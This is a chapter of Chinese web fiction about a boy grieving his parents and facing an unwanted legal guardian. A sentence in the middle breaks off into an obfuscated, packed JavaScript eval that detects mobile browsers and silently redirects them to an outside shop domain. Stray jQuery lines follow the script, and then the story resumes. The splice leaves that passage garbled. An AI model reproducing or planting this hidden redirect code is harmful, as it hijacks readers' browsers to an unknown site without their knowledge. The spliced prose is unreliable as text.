葬礼在一个晴天举行。
冬天还没有结束，梧桐树光秃秃的枝丫伸向灰白的天空。苌斓穿着黑色外套站在最前面，手里攥着那枚戒指。他站得很直，脊背挺得和父亲一模一样。忘海站在他身后半步，灰色围巾被风吹得微微飘动。整场仪式他都站在那个位置，没有上前，没有退后，刚好是苌斓不用回头就能感觉到他存在的距离。
来吊唁的人不多。父母生前的老同学、老同事，几位远房亲戚。每个人走到他面前，嘴唇一张一合。他听见有人说节哀，有人说保重，有人说以后好好照顾自己。他逐一道谢，鞠躬，每一个动作都做得一丝不苟。他一直没有哭。
人群散去之后，一位穿深蓝色外套的中年女人留了下来。她在居委会工作，胸牌上写着姓氏。她在苌斓面前蹲下来，声音很轻：“苌斓，你还未成年。按照法律规定，你需要一个监护人。”他看着她，没有说话。女人斟酌着措辞，似乎在寻找一个不那么刺痛他的说法。“我们会尽快联系你的亲属。在正式确定之前，先由我们和民政部门共同照管。你放心，不会没人管你的。”
亲属。苌斓在心里把这两个字翻来覆去地念了几遍。父母都是独生子女，两边的老人很早就过世了。他在这个世界上没有血缘上的亲人。但他没有把这些说出来，只是点了点头，说了声谢谢。
那天晚上，忘海陪他回了家。客厅还是那天下午出门前的样子——父亲的茶杯放在茶几上，母亲搭在椅背上的围裙还残留着药膳的气味。冰箱里那盒切好的水果氧化了，他还是坐在餐桌前一片一片吃完，把保鲜膜上的便签揭下来抚平折好，和那张画满指甲痕的购物小票放在一起。忘海在厨房煮红枣茶，他在客厅整理父母的东西。谁都没有说话，但谁都没有离开。
几天后的傍晚，苌斓放学回来。走到楼道口的时候，他看见单元门上贴了一张通知，落款是居委会的印章。大意是说，他的监护人已经依法确定，即日起由监护人接管他的日常生活。通知没有写监护人的名字。
他站在那张通知前看了很久。楼道里的声控灯灭了，他咳嗽一声又亮了。然后他慢慢走上楼，用钥匙打开家门。客厅的灯开着，茶几上放着一份盖了红章的文件。文件旁边放着一个他从没见过的玻璃杯，不是父亲的那个。厨房里有响动，锅铲碰铁锅的声音，油烟气飘出来。那个味道很熟悉，熟悉得让他后脑勺那道旧伤开始隐隐发痒。不是当归黄芪的药膳香，是更久远的、更冷的——养母炒菜时喜欢放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724387|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
很重的酱油，咸得发苦。他站在玄关，书包从肩膀上滑下来，落在鞋凳旁边。他知道茶几上那份文件里写着谁的名字了。
他没有进厨房。只是弯腰把书包捡起来，换了拖鞋，走到茶几前把那份文件翻过来，扣在桌面上。然后把父亲的杯子重新放回文件旁边，杯口朝外，和每天父亲下班回来时放的位置一样。
晚上，他坐在书桌前给忘海发消息。“监护人确定了。”忘海的电话几乎是立刻打过来的。苌斓接起来，听见对面极力压平却还是藏不住紧绷的呼吸声。
“是谁。”
苌斓看着窗外。梧桐树的枝丫光秃秃的，路灯把它们的影子投在窗帘上，像一张破碎的网。他说：“文件上没有写名字。但我知道是谁。”他顿了顿，“他们已经在厨房做饭了。”
电话那头沉默了很长时间。然后忘海说：“明天早上，路口。四颗红枣。”
“好。”
他挂了电话，把手机放在床头柜上。然后摊开掌心，看着那枚戒指，又攥紧。不管这个监护人是谁，明天早上的路口还有人等他。奶茶还有人替他煮，围巾还有人替他洗，那包太咸的薯片还有人陪他一起吃。只要那个人还在，他就能撑着。他必须撑着。